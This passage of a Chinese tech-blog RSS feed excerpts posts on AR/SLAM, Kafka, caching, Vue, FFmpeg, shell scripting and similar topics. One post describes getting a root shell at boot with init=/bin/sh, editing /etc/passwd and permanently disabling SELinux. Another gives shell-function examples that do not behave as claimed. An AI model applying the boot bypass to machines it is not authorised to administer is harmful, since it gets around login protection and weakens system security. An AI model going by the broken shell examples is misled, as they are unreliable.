“大挑”，这次带了一个跨平台的增强现实框架，主要用做HoloLens 2的二次开发，这次的多人协同系统，基于Unity3D游戏引擎构建了一套跨平台增强现实开发的框架。该框架保证了同步渲染，粒子效果，背景视频渲染以及实时阴影渲染，同时封装好接口，可以接入不同平台下的虚实配准算法库。传统Socket异步模型不支持UWP平台，本项目使用高性能IOCP异步模型SocketAsyncEventArgs支持PC、UWP、IOS、Android等市面上绝大多数平台。 ARcore、ARkit、HoloLens锚点同步校准实现多人交互共享，Assetbundle动态更新加载资源，数据同步。区别于采用 Vuforia 包完成图像识别和三维跟踪注册，研究三维点云数据分割与识别，通过三维数据的匹配完成 HoloLens 三维跟踪注册，提升了 HoloLens对三维空间交互感知能力。同时使用Unity Chat SDK 跨平台音视频通讯。建立完整的体验感较好的增强现实程序，为多种业务场景需求提供服务。&#xA;ORB在保持了特征子具有旋转、尺度不变性的同时，在速度方面提升明显，ORB是质量与性能之间很好地折中，对于实时性要求很高的SLAM而言是一个很好地选择。单独学习改进FAST算法的ORB算法。&#xA;8、参加 “大唐杯”比赛 参加第十届大唐杯，需要掌握一定的通信知识和通信基础，这对计算机科班出身的本人及实验室的小伙伴真的不是很友好，但是我们还是硬着头皮学下去了。背景知识上的数据都给出了，只要好好用心填写到对应的地方就好。 但不要只是盲目地复制它。 有些东西需要计算，比如发射功率，频点计算，小区最大发射功率等。 这些都是计算出来的。 还有IP地址计算，网络地址，网关，掩码等等，千万别搞错了。 还有一些知识，比如路由关系不要搞错，关系要一一对应，网元功能（八个网元）不要弄错。&#xA;9、ORB-SLAM3实时运行 跑了实时的ORB-SLAM3，根据官方例程在中使用ros接入INDEMIND相机，这回有SDK及ORB-SLAM3安装过程中的各种常见性问题解决方法及安装细节，与官网教程略有不同，列举所有默认安装的依赖。&#xA;10、INDEMIND相机Windows平台运行 INDEMIND相机的SDK也能在Windows平台运行，所以也做了一些WIN上的探索。&#xA;11、学习使用EVO工具 EVO工具全名为“Python package for the evaluation of odometry and SLAM”，使用Python写的轨迹评估工具，目前在SLAM领域论文中的“使用率”逐渐上升，可以说已经成为了作为SLAMer一定要会用的工具。学习evo工具评测SLAM算法性能并可视化结果。</description>
    </item>
    <item>
      <title>使用Python实现简单的区块链</title>
      <link>https://bchobby.github.io/posts/cee4fb2c92de9c26b36201ecb529f405/</link>
      <pubDate>Sun, 31 Dec 2023 20:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cee4fb2c92de9c26b36201ecb529f405/</guid>
      <description>区块链技术作为一种分布式数据库技术，近年来备受关注。它的去中心化、安全性高的特点使得它在金融、物联网、供应链管理等领域有着广泛的应用前景。本文将介绍如何使用Python语言实现一个简单的区块链，包括创建区块、交易记录和工作量证明等功能。&#xA;区块链基本概念&#xA;区块链是由一个个区块组成的链式数据结构，每个区块包含了一定数量的交易记录，并且通过哈希值连接到前一个区块，形成了不可篡改的数据链。每个区块都包含了前一个区块的哈希值，从而构成了一个不可逆的链式结构。&#xA;Python实现区块链&#xA;下面是一个简单的Python代码实现一个简单的区块链：&#xA;import hashlib import json from time import time class BlockChain: def __init__(self): self.chain = [] self.current_transactions = [] # 创建创世块 self.new_block(previous_hash=1, proof=100) def new_block(self, proof, previous_hash=None): &#34;&#34;&#34; 创建一个新的区块 :param proof: 工作量证明 :param previous_hash: 前一个区块的hash值 :return: 新的区块 &#34;&#34;&#34; block = { &#39;index&#39;: len(self.chain) + 1, &#39;timestamp&#39;: time(), &#39;transactions&#39;: self.current_transactions, &#39;proof&#39;: proof, &#39;previous_hash&#39;: previous_hash or self.hash(self.chain[-1]) } # 重置当前交易记录 self.current_transactions = [] self.chain.append(block) return block def new_transaction(self, sender, recipient, amount): &#34;</description>
    </item>
    <item>
      <title>生产问题一：redis锁处理幂等性失效</title>
      <link>https://bchobby.github.io/posts/52713feb274b0d2de23f60291a4895d6/</link>
      <pubDate>Sun, 31 Dec 2023 19:47:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52713feb274b0d2de23f60291a4895d6/</guid>
      <description>伪代码： @Transactional(rollbackFor = Exception.class) public void add(User user) { String key = &#34;key&#34;; RLock lock = redissonClient.getLock(key); lock.lock(); try { long count = userMapper.selectCount(user); if (count == 0) { userMapper.insert(user); } } catch (Exception e) { log.error(&#34;add user error&#34;, e); } finally { lock.unlock(); } System.out.println(&#34;插入成功&#34;); } 问题分析：&#xA;如果有两个线程a,b。如果a线程释放锁后，退出方法前，让出时间片，由于方法未执行完，此时事务没有提交，那么b线程在去数据库查询的时候仍然出来count为0，执行了insert操作，两个线程执行完该方法提交事务，此时数据库中会增加两条数据，幂等性失效。&#xA;解决方式：&#xA;第一种：&#xA;//@Transactional(rollbackFor = Exception.class) public void add(User user) { String key = &#34;key&#34;; RLock lock = redissonClient.getLock(key); lock.lock(); try { long count = userMapper.</description>
    </item>
    <item>
      <title>浙大链协2023年终总结</title>
      <link>https://bchobby.github.io/posts/ac28bfe98be2036c71e6e319f9e793d1/</link>
      <pubDate>Sun, 31 Dec 2023 19:46:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac28bfe98be2036c71e6e319f9e793d1/</guid>
      <description>2&#xA;0&#xA;2&#xA;4&#xA;元旦&#xA;快乐&#xA;龙腾虎跃&#xA;01&#xA;引言&#xA;俗话说：&#34;币圈一天，人间十年&#34;，数字货币一天的涨跌可能抵上其他资产价格一年的波动幅度。而经历过漫长的熊市后，铭文的火爆十分生动地表述了这一口号......&#xA;2023年，浙大链协关心科技发展和数字货币，也关心世界和同行；2024年，我们又会将目光投向哪里？&#xA;02&#xA;回顾2023&#xA;按时间顺序，浙大链协在2023年主要举办了如下主题活动：&#xA;浙大系 Web3 系列Workshop&#xA;“链坊杯” 区块链数字经济商业分析大赛&#xA;换届纳新&#xA;ZDAO论坛&#xA;ETH Hangzhou&#xA;求是鹰NFT活动&#xA;浙大链协加密创投训练营&#xA;①&#xA;浙大系 Web3 系列Workshop&#xA;浙大链协在2022年11月到2023年3月，举办了五期浙大系 Web3 Workshop和两场Web3，包括了多个主题和行业前辈分享，得到了许多小伙伴的好评和收获。其中包括了从Web2到Web3的转变、DAO组织形式、全球Web3.0的发展与DID的展望、多链生态下的新公链发展与跨链安全、以及链上安全治理。这些Workshop探讨了当前Web3领域的热点问题，涵盖了技术、组织形式和安全等多个方面，提供了广泛的学习机会和思考空间。同时视频在ZJUBCA同名youtube上播放，Workshop累计播放量和浏览量超数千人。&#xA;②&#xA;“链坊杯” 区块链数字经济商业分析大赛&#xA;2023年4月，为了帮助同学们快速了解行业，本次大赛我们开放了系列分享会，邀请到一流基金投资人，海外年轻的优秀华人、以及海外一流高校区块链组织负责人来从他们的视角与我们分享经验和见解，并对选手们的问题进行答疑。&#xA;此外，链协还邀请到了往届冠军队伍分享他们的参赛经历与同学们交流组队意见与一些经验心得！&#xA;③&#xA;换届纳新&#xA;2023年9月，链协进行了换届纳新。在这个环节，我们介绍了浙大链协是一个怎样的组织、与谁合作、它的使命和初心是什么，又真正做成了什么事。组织分为技术部、运营部和投研部三个部门，由核心成员、干事和社群成员组成。在这个阶段我们招募社群成员和干事，并欢迎对区块链感兴趣的人士加入。&#xA;④&#xA;ZDAO 论坛&#xA;链协使得浙大 Web3 校友齐聚一堂，共同交流与探讨行业前沿发展。在校友交流环节中，大家围绕建立一个服务全球校友的 Web3 加速器献言献策，并且决定成立一个属于浙大 Web3 校友的 DAO 组织，也就是现在的 ZDAO。&#xA;⑤&#xA;ETH Hangzhou&#xA;2023年10月16日，浙大链协举办ETH Hangzhou活动。本次黑客松活动得到了以太坊基金会ESP以及ZAN、Scroll、BIXIN等企业的赞助支持，Web3hub为选手们提供了优秀的参赛环境。活动报名群共计收到了超500人次的入群申请。最终，来自全国各地超160名Web3ers齐聚杭州线下参与了本次黑客松。&#xA;在为期四天的黑客松赛程中，我们不仅历经线下Idea Show、数场Workshop&amp;amp;Panel以及Demo Day，还在刺激的项目Building之余组织参赛者们进行西湖City Walk，并在Demo Day后为参赛者们准备了社交属性满满的AfterParty。&#xA;参赛者与主办方合影&#xA;⑥&#xA;求是鹰 NFT 活动&#xA;2023 年 10 月，链协与白鸦画社一起推出NFT数字头像，并发布抽奖活动。近 150 人加入了 NFT 活动群。</description>
    </item>
    <item>
      <title>【微服务】springboot整合skywalking使用详解</title>
      <link>https://bchobby.github.io/posts/f73a1a4bfc626dfc5962fa75b4ab42fd/</link>
      <pubDate>Sun, 31 Dec 2023 18:48:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f73a1a4bfc626dfc5962fa75b4ab42fd/</guid>
      <description>目录&#xA;一、前言&#xA;二、SkyWalking介绍&#xA;2.1 SkyWalking是什么&#xA;2.2 SkyWalking核心功能&#xA;2.3 SkyWalking整体架构&#xA;2.4 SkyWalking主要工作流程&#xA;三、为什么选择SkyWalking&#xA;3.1 业务背景&#xA;3.2 常见监控工具对比&#xA;3.3 为什么选择SkyWalking&#xA;3.3.1 代码侵入性极低&#xA;3.3.2 功能丰富&#xA;3.3.3 产品完善度高&#xA;四、SkyWalking环境搭建&#xA;4.1 下载安装包&#xA;4.2 部署服务&#xA;4.2.1 部署oap(apm)服务&#xA;4.2.2 web-ui界面访问&#xA;4.3 数据持久化配置&#xA;4.3.1 修改配置文件&#xA;4.3.2 上传mysql驱动包&#xA;4.3.3 重启服务&#xA;五、springboot接入Skywalking&#xA;5.1 准备一个测试使用的接口&#xA;5.2 获得Java Agent包&#xA;5.3 参数化启动项目&#xA;5.4 接口访问测试&#xA;六、dubbo接入Skywalking&#xA;6.1 搭建三个微服务模块&#xA;6.2 api模块&#xA;6.3 dubbo-provider模块&#xA;6.3.1 添加核心依赖&#xA;6.3.2 添加核心配置文件&#xA;6.3.3 添加dubbo接口实现类&#xA;6.3.4 服务启动类&#xA;6.4 dubbo-consumer模块&#xA;6.4.1 添加核心依赖</description>
    </item>
    <item>
      <title>Kafka_01_Kafka初识</title>
      <link>https://bchobby.github.io/posts/f55bd9fa9a8cb0ff72f6a446090133ff/</link>
      <pubDate>Sun, 31 Dec 2023 18:15:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f55bd9fa9a8cb0ff72f6a446090133ff/</guid>
      <description>Kafka_01_Kafka初识 Kafka基础概念延迟任务 Kafka Kafka: ZooKeeper协调的分布式消息系统&#xA;基于Scala语言编写的高性能、多分区、多副本Kafka高性能的原因：页缓存、顺序IO、零拷贝 具有以下特性：&#xA;消息中间件: 系统解耦、冗余存储、流量消峰、异步通信等存储系统: 通过消息持久化和多副本机制实现消息落盘流处理: 为流式处理框架提供可靠的数据来源和库 Kafka组成: 若干个Producer、Consumer、Broker和ZooKeeper集群&#xA;Producer(生产者): 生产并发送消息到Broker(推送)Consumer(消费者): 从Broker订阅并消费消息(拉取)Broker(服务代理节点): 将从Producer收到的消息进行落盘ZooKeeper集群：管理Kafka集群的元数据 // Broker可看成单个独立的Kafka服务实例, 多个Broker组成个Kafka集群&#xA;如: Kafka集群构成&#xA;基础概念 主题(Topic): Kafka中消息归类单位&#xA;Topic并不实际存在(仅逻辑上的概念)Topic可细分为多个Partition, 但Partition仅属于单个Topic功能: Producer将消息发送到特定Topic, Consumer订阅Topic消费消息 分区(Partition): 组成Topic的单位(实际存储消息)&#xA;Partition在存储层面可视为: 可被追加的日志文件同一Topic下的不同Partition包含的消息是不同的Partition可跨Broker(Topic可跨Broker) 偏移量(Offset): 消息追加到Partition时分配的标志位&#xA;Offset是消息在Partition中的唯一标识(保证Partition内的有序性)Offset不支持跨Partition(Topic无序) 如: 消息追加写入Partition&#xA;消息在发送到Broker之前, 都会先根据Partition规则分配到具体的PartitionTopic的Partition应避免都属于单个文件(避免机器的I/O成为性能瓶颈) Partition中2个特殊的Offset:&#xA;HW(High Watermark): Consumer能拉取到消息的最大OffsetLEO(Log End Offset): Partition下条消息写入的Offset // ISR中最小的LEO为该Partition的HW(最慢的follower)&#xA;如: Partition中的特殊Offset&#xA;副本(Replica): Partition的冗余&#xA;功能: Kafka通过多副本机制提高容灾能力副本之间分为：leader(主副本)、follower(从副本)副本间仅存在一主多从关系, 且可实现自动故障转移Producer和Consumer只能和leader进行交互(follower仅进行消息同步) 如: Kafka的多副本交互&#xA;副本相关名词:&#xA;AR(Assigned Replicas): 所有副本(包括leader)ISR(In-Sync Replicas): 与leader保持同步的副本(包括leader)OSR(Out-of-Synce Replicas): 与leader同步滞后过多的副本(数据不同步) // 默认仅ISR中的副本才有资格选举为leader, 且负责动态管理ISR和OSR中的follower</description>
    </item>
    <item>
      <title>全栈架构：从0开始，Vue的搭建与开发</title>
      <link>https://bchobby.github.io/posts/bcb66e4eccaedf9cce24d46aabbd556f/</link>
      <pubDate>Sun, 31 Dec 2023 18:07:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bcb66e4eccaedf9cce24d46aabbd556f/</guid>
      <description>尼恩说在前面 在40岁老架构师 尼恩的读者交流群(50+)中，很多小伙伴拿到一线互联网企业、上市企业如阿里、网易、有赞、希音、百度、滴滴的面试资格。&#xA;然后，很多小伙伴平时聚焦CRUD，没有亮点项目， 黄金项目。&#xA;简历也写得是非常low，很难拿到offer，甚至一个面试机会都没有。&#xA;所以， 尼恩在《第34章视频：DDD学习圣经》的基础上，带领大家从0到1 实操一个前后端分离的 高并发开源博客项目。 并且进行实际的运营迭代。&#xA;然后录制配套的实操学习视频《第36章：从0开始搭建一套微服务DDD开源博客平台》，并且指导大家 植入自己的简历。&#xA;当然植入简历里边后，展示的项目不一定是博客，可以是别的项目，具体尼恩会做针对性的指导。&#xA;当然，如果大家平时是CRUD项目，缺乏亮点， 可以找尼恩一对一指导写入简历，让大家面试所向披靡，走向顶级架构师行业，彻底摆脱中年危机。&#xA;本文也会收入咱们的 《尼恩Java面试宝典PDF》V153版本，供后面的小伙伴参考，提升大家的 3高 架构、设计、开发水平。&#xA;特别提示，尼恩的3高架构宇宙，持续升级。&#xA;《尼恩 架构笔记》《尼恩高并发三部曲》《尼恩Java面试宝典》的PDF，请到文末公号【技术自由圈】获取&#xA;文章目录 尼恩说在前面1、Vue介绍1.1 MVVM模式 2、node环境搭建2.1 windows安装node.js2.1.1 安装步骤2.1.2 验证安装2.1.3 修改全局安装路径、缓存路径，环境变量配置1）在nodejs安装目录创建node_global和node_cache文件夹2）打开cmd命令，依次输入：3）修改系统环境变量 2.1.4 更改淘宝镜像 2.2 NPM 使用介绍2.2.1 使用 npm 命令安装模块2.2.2 全局安装与本地安装本地安装全局安装查看安装信息 2.2.3 使用 package.jsonPackage.json 属性说明 2.2.4 卸载模块2.2.5 更新模块2.2.6 搜索模块2.2.7 创建模块版本号 2.2.8 NPM 常用命令 2.3 linux安装node.js 3、Vue环境搭建3.1 安装3.1.1 安装webpack3.1.2 安装vue相关文件3.1.3 新建并启动vue3项目 3.2 VS Code安装、配置、使用（windows10 64）3.2.1 VS code 下载和安装3.2.2 配置插件（必须联网） 4、体验Vue的前端工程安装依赖后启动 5、npm install 安装机制及实现原理npm 安装机制npm实现原理 说在最后：有问题可以找老架构取经尼恩技术圣经系列PDF 1、Vue介绍 Vue.</description>
    </item>
    <item>
      <title>缓存和数据库，1&#43;1如何大于2？</title>
      <link>https://bchobby.github.io/posts/5f9d3fb708eb7bb0e32e6550b167d4c8/</link>
      <pubDate>Sun, 31 Dec 2023 17:59:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f9d3fb708eb7bb0e32e6550b167d4c8/</guid>
      <description> 一、缓存的本质 缓存，简单说就是为了节约对原始资源重复获取的开销，而将结果数据副本存放起来以供获取的方式。&#xA;首先，缓存往往针对的是“资源”。我们前面已经多次提到过，当某一个操作是&#34;幂等&#34;的和“安全&#34;的，那么这样的操作就可以被抽象为对&#34;资源&#34;的获取操作，那么它才可以考虑被缓存。有些操作不幂等、不安全，比如银行转账，改变了目标对象的状态，自然就难以被缓存。&#xA;其次，缓存数据必须是“重复&#34;获取的。缓存能生效的本质是空间换时间。也就是说，将曾经出现过的数据以占据缓存空间的方式存放下来，在下一次的访问时直接返回，从而节约了通过原始流程访问数据的时间。有时候，某些资源的获取行为本身是幂等的和安全的，但实际应用上却不会&#34;重复&#34;获取，那么这样的资源是无法被设计成真正的缓存的。我们把一批数据获取中，通过缓存获得数据的次数，除以总的次数，得到的结果,叫做缓存的命中率。&#xA;再次，缓存是为了解决“开销”的问题。这个开销，可不只有时间的开销。虽然我们在很多情况下讲的开销，确实都是在时间维度上的，但它还可以是CPU、网络、I/O等一切资源。例如我们有时在Web服务中增加一层缓存，是为了避免了对原始资源获取的时候，对数据库资源调用的开销。&#xA;二、缓存应用模式 2.1 旁路缓存模式 2.1.1 数据读写策略 读数据时：&#xA;先读缓存，若缓存有数据，直接返回若缓存没有，读数据库。若数据库有，将结果写入缓存，并返回结果若数据库没有，就返回没有 写数据时：&#xA;先写数据库再令对应的缓存失效 2.1.2 操作关键 写数据时，必须先更新数据库，再令缓存失效 这个很容易理解，如果先令缓存失效了，而数据库还没来得及更新成功，那么假如这个时候有一个请求访问，他会直接击穿到数据库中，带着数据库的陈旧值去更新缓存，就会导致旧数据长期存在于缓存中，导致严重的数据不一致问题。&#xA;写数据时，更新完数据库之后，必须是让缓存失效，而不是更新缓存 为什么呢？如果此时更新的策略是更新缓存而不是令缓存失效，此时几乎同时发出的请求分别更新数据库中的值为A和B，结果是A的更新早于B，那么并不能保证这两个请求更新缓存时，顺序就是A早于B，就会导致缓存中的数据可能会长期是A值。&#xA;2.1.3 数据异常情形 读操作：&#xA;缓存读取异常，直接返回失败，没有数据不一致的情况数据库读取异常，直接返回失败，没有数据不一致的情况数据库读取成功，但是缓存写入失败，那么下一次读取同一数据的请求还会继续尝试写入，没有数据不一致的情况发生 写操作：&#xA;数据库写入失败，直接返回失败，没有数据不一致的情况数据库写入成功，但是缓存失效的操作失败，这个问题发生了之后会非常麻烦，需要特殊处理来纠正（比如缓存数据和数据库不一致时配置告警、定期将数据库数据刷缓存） 2.2 缓存代理模式 将缓存系统作为数据库的代理，应用的请求访问只能到缓存，数据库系统对应用来说是透明的。&#xA;2.2.1 数据读写策略 读操作：&#xA;先读缓存，如果缓存中有数据，返回如果缓存中没有数据，缓存查询数据库，并将结果写入自己，再返回给应用 写操作：&#xA;先写缓存缓存再更新数据库通知应用写入成功 这里更新数据库有两种策略透写（write-through）：同步更新数据库完成之后再返回成功回写（write-back）：更新缓存之后就直接返回成功，异步更新数据库（支持批量更新，更新效率高，速率稳定；但是存在数据丢失风险） 2.2.2 操作关键点 缓存系统需要自己内部保证并发场景下，缓存更新的顺序和数据库更新的顺序一致，这个可以用乐观锁来保证 2.2.3 数据异常情形 读操作：&#xA;同旁路缓存模式，没有数据不一致情况 写操作：&#xA;如果缓存更新失败，直接返回失败，没有数据不一致情况如果缓存更新成功，数据库更新失败，需要回滚 </description>
    </item>
    <item>
      <title>MATLAB常用笔记记录（持续更新）</title>
      <link>https://bchobby.github.io/posts/0d709da2a0351852f38d24906d983d5a/</link>
      <pubDate>Sun, 31 Dec 2023 17:47:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d709da2a0351852f38d24906d983d5a/</guid>
      <description>3.错误使用 reshape 元素数不能更改。请使用 [] 作为大小输入之一，以自动计算该维度的适当大小。&#xA;仔细检查之后发现原因是：两个栅格图层的行列数不一致。解决办法如下：&#xA;先改变栅格图层1源文件的投影坐标系，再进行掩膜提取：Arctoolbox——Data Management Tools——Projections and Transformations——Raster——Project Raster，在弹出的对话框中选定栅格图层2的坐标系和栅格大小，然后进行掩膜提取，就会得到行列数相等的两个栅格文件。如果要实现批量处理，也可以在python里面使用函数：arcpy.ProjectRaster_management(栅格文件,输出名字,“投影坐标系文件所在路径”,“重采样方式”,重采样栅格大小)。&#xA;2.学习到的工具：&#xA;readgeoraster&#xA;1.学习到的工具箱：Statistics and Machine Learning Toolbox——使用统计与机器学习工具。&#xA;Statistics and Machine Learning Toolbox 提供了一系列函数和 App，可用于数据描述、分析和建模。您可以使用描述性统计量、可视化和聚类进行探索性数据分析；对数据进行概率分布拟合；生成用于蒙特卡罗模拟的随机数，以及执行假设检验。借助工具箱提供的回归和分类算法，您可以基于数据进行推断并构建预测模型；您既可选择分类学习器和回归学习器进行交互式操作，也可使用 AutoML 以编程方式操作。&#xA;针对多维数据分析和特征提取，此工具箱提供了主成分分析 (PCA)、正则化、降维和特征选择方法，让您能够识别预测能力最强的变量。&#xA;此工具箱提供了有监督、半监督和无监督机器学习算法，包括支持向量机 (SVM)、提升决策树、浅层神经网络、k 均值和其他聚类方法。您可以应用可解释性方法（例如部分依赖图、Shapley 值和 LIME），并自动生成 C/C++ 代码以进行嵌入式部署。原生 Simulink 模块支持您将预测模型用于仿真和基于模型的设计。对于那些无法存储到内存的大型数据集，该工具箱中的许多算法同样适用。</description>
    </item>
    <item>
      <title>第3课 使用FFmpeg获取并播放音频流</title>
      <link>https://bchobby.github.io/posts/7bf7f455686c4cc719c59714c418d51b/</link>
      <pubDate>Sun, 31 Dec 2023 17:45:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bf7f455686c4cc719c59714c418d51b/</guid>
      <description>本课对应源文件下载链接：&#xA;https://download.csdn.net/download/XiBuQiuChong/88680079&#xA;FFmpeg作为一套庞大的音视频处理开源工具，其源码有太多值得研究的地方。但对于大多数初学者而言，如何快速利用相关的API写出自己想要的东西才是迫切需要的，至于原理的进一步学习那是以后的事情。&#xA;在上一课中，我们已经成功获取到视频流并显示，这节课我们将参考视频的工作流程来获取音频并播放。&#xA;1.压缩备份上节课工程文件夹为demo2.rar，并修改工程文件夹demo2为demo3，重要的事情再说一遍：及时备份源文件并在原基础上继续迭代开发是一种好习惯。&#xA;与处理视频的过程差不多，要播放音频就要先初始化音频解码器，在函数runFFmpeg中加入以下代码：&#xA;//音频解码器 int audioIndex = -1; AVCodec *aDecodec; AVCodecContext *aDecodeCtx = NULL; //初始化并打开音频解码器 aDecodec = avcodec_find_decoder(inFormatCtx-&amp;gt;streams[audioIndex]-&amp;gt;codecpar-&amp;gt;codec_id); aDecodeCtx = avcodec_alloc_context3(aDecodec); avcodec_parameters_to_context(aDecodeCtx, inFormatCtx-&amp;gt;streams[audioIndex]-&amp;gt;codecpar); avcodec_open2(aDecodeCtx, aDecodec, 0); 2.在处理视频数据包后我们可以接着处理音频数据包，并把音频帧转换为pcm数组加入音频队列备用：&#xA;if (normalPkt.stream_index == videoIndex) { ret = avcodec_send_packet(vDecodeCtx, &amp;amp;normalPkt); ret = avcodec_receive_frame(vDecodeCtx, deVideoFrame); av_packet_unref(&amp;amp;normalPkt); ret = sws_scale(bgrSwsCtx, (const uint8_t* const*)deVideoFrame-&amp;gt;data, deVideoFrame-&amp;gt;linesize, 0, deVideoFrame-&amp;gt;height, bgrFrame.data, bgrFrame.linesize); srcMat = cv::Mat(bgrFrame.height, bgrFrame.width, CV_8UC3, bgrFrame.data[0]); //imshow(&#34;viceo&#34;, srcMat); //cv::waitKey(10); mainDlg-&amp;gt;drawMatOfPlay(srcMat); av_frame_unref(deVideoFrame); } else if (normalPkt.</description>
    </item>
    <item>
      <title>shell语言中的函数的讲解---声明函数和调用函数</title>
      <link>https://bchobby.github.io/posts/6e007f53f72005891d6c062d2748c351/</link>
      <pubDate>Sun, 31 Dec 2023 17:43:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e007f53f72005891d6c062d2748c351/</guid>
      <description>shell语言中的函数的讲解—声明函数和调用函数 在Shell中，函数是一种可重用的代码块，用于执行特定的任务。通过声明函数，我们可以将一段重复的代码封装起来，以便在需要时调用。函数可以在本地和远程环境中调用，这使得我们可以在不同的脚本和系统中复用相同的功能。&#xA;声明函数 在Shell中，我们使用function关键字来声明一个函数。函数的定义包括函数名、参数列表和函数体。函数体是实际执行的代码块，用大括号{}包围。下面是一个简单的函数声明示例：&#xA;function say_hello() { echo &#34;Hello, $1!&#34; } 在这个示例中，我们声明了一个名为say_hello的函数，它接受一个参数（用$1表示）。当调用这个函数时，它会输出&#34;Hello, &#34;加上传入的第一个参数。&#xA;调用函数 要调用一个函数，只需使用函数名和参数列表即可。例如，要调用上面声明的say_hello函数并传入参数&#34;World&#34;，可以这样做：&#xA;say_hello World 这将输出&#34;Hello, World!&#34;。&#xA;带默认值的参数&#xA;有时，我们希望为函数的某个参数提供一个默认值。如果调用函数时没有提供该参数的值，那么将使用默认值。这可以通过在参数后面添加等号和默认值来实现。例如：&#xA;function greet() { name=&#34;$1&#34; greeting=&#34;Hello, $name!&#34; if [ -z &#34;$name&#34; ]; then name=&#34;World&#34; fi echo $greeting } 在这个示例中，我们为greet函数的name参数提供了一个默认值&#34;World&#34;。如果没有提供name参数的值，那么将使用默认值。现在，我们可以这样调用greet函数：&#xA;greet World # 输出 &#34;Hello, World!&#34; greet # 输出 &#34;Hello, World!&#34;（因为没有提供参数） 返回值&#xA;函数可以返回一个值，这可以通过使用return语句来实现。例如：&#xA;function add() { local a=$1 b=$2 sum=$((a + b)) return $sum } 在这个示例中，我们声明了一个名为add的函数，它接受两个参数并返回它们的和。要获取函数的返回值，可以使用命令替换或将其赋值给一个变量。例如：&#xA;result=$(add 3 5) # 将返回值赋给变量 result，然后输出 &#34;</description>
    </item>
    <item>
      <title>linux更改登录shell</title>
      <link>https://bchobby.github.io/posts/e581d1643366b714cfe43eb2a8692ef9/</link>
      <pubDate>Sun, 31 Dec 2023 17:34:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e581d1643366b714cfe43eb2a8692ef9/</guid>
      <description> 从bash修改成python 在/etc/passwd下可以更改用户登录bash&#xA;例&#xA;root:x:0:0:root:/root:/bin/bash //更改bin/bash为/bin/python，就可以用root登录python页面了 从python修改成bash 方法一 重启页面按e进入内核编辑模式 linux16这行后添加：init=/bin/sh，ctrl+x保存。这个进去后更改密码有乱码，可以把前面的zh_CN改成en_CN，可以解决乱码问题 进入单用户模式 重新挂载根分区：mount -o remount,rw / 查看SElinux的文件：cat /etc/selinux/config 永久关闭SElinux 修改用户登录bash vim /etc/passwd //修改登录/sbin/bash 在根分区创建一个隐藏文件： touch /.autorelabel 重启系统： exec /sbin/init </description>
    </item>
    <item>
      <title>深入理解Vue.js 3的Reactive方法</title>
      <link>https://bchobby.github.io/posts/e12827f2e8aa07e6c9448b7a4e3857df/</link>
      <pubDate>Sun, 31 Dec 2023 17:30:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e12827f2e8aa07e6c9448b7a4e3857df/</guid>
      <description>Vue.js 3引入了Composition API，这是一次对Vue开发模式的重大革新，它为我们提供了更灵活、更强大的代码组织方式。今天，我们将深入探讨其中的核心功能之一——reactive方法。我们将了解它是什么，如何使用它，以及一些使用时需要注意的事项。&#xA;什么是reactive方法？ 在Vue.js中，响应式是指当应用状态发生变化时，视图会自动更新以反映这些变化。reactive是Vue 3的Composition API中的一个函数，它允许你创建一个响应式的数据对象。当你更改对象的属性时，依赖这些属性的组件将自动更新。&#xA;reactive背后的魔法来自于JavaScript的Proxy特性，它允许Vue跟踪对对象属性的访问和修改。这意味着你可以编写声明式的代码，而Vue会负责底层的DOM更新。&#xA;如何使用reactive 首先，你需要从vue包中导入reactive函数：&#xA;import { reactive } from &#39;vue&#39;; 然后，你可以将一个普通JavaScript对象传递给reactive函数：&#xA;const state = reactive({ count: 0, message: &#39;Hello Vue!&#39; }); 现在，state就是一个响应式对象。在组件中，你可以直接使用state的属性，并且当这些属性改变时，Vue会自动更新视图。&#xA;下面是一个在Vue组件中使用reactive的例子：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;p&amp;gt;{{ state.message }}&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;{{ state.count }}&amp;lt;/p&amp;gt; &amp;lt;button @click=&#34;increment&#34;&amp;gt;Increment&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { reactive } from &#39;vue&#39;; export default { setup() { const state = reactive({ count: 0, message: &#39;Hello Vue!&#39;, }); function increment() { state.count++; } return { state, increment, }; }, }; &amp;lt;/script&amp;gt; 在上述代码中，我们通过setup函数定义了组件的状态和方法。setup是Composition API的核心，它在组件实例化之前调用，用于声明响应式状态、计算属性和函数。</description>
    </item>
    <item>
      <title>探索抖音详情API：塑造未来的媒体交互</title>
      <link>https://bchobby.github.io/posts/513730480179b97f5e0fd7b52807fca2/</link>
      <pubDate>Sun, 31 Dec 2023 17:29:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/513730480179b97f5e0fd7b52807fca2/</guid>
      <description>一、引言&#xA;随着数字媒体的迅猛发展，抖音作为全球领先的短视频平台，其API接口为开发者提供了无尽的创新机会。了解抖音详情API的请求格式与参数，是每位有远见的开发者和媒体策划者的必修课。本文将深入剖析API的内在逻辑与潜力，为您揭示其塑造未来的媒体交互的可能性。&#xA;二、抖音详情API：通向数据宝库的钥匙&#xA;抖音详情API通过简洁的请求格式，允许开发者轻松获取用户、内容和其他有用信息。其基于HTTP或HTTPS协议，并使用GET或POST方法，构建起与平台数据交互的桥梁。而access_token作为身份验证的关键，确保了数据的安全与隐私。&#xA;三、释放API参数的潜能：构建智能媒体生态&#xA;抖音详情API提供了丰富的参数选项，如user_id、open_id、app_id等，它们如同智慧的脉络，为开发者提供了无限可能。通过合理运用这些参数，您可以筛选、过滤和获取所需的数据，从而打造出更加智能、个性化的媒体内容和服务。&#xA;user_id与open_id： 用于标识特定用户，是构建用户画像和个性化推荐的核心要素。app_id： 确保请求来源的合法性，保护您的应用权益。page、limit、fields： 这些参数如同精细的罗盘，帮助您在庞大的数据海洋中定向获取所需内容，优化性能并提高效率。filter与order： 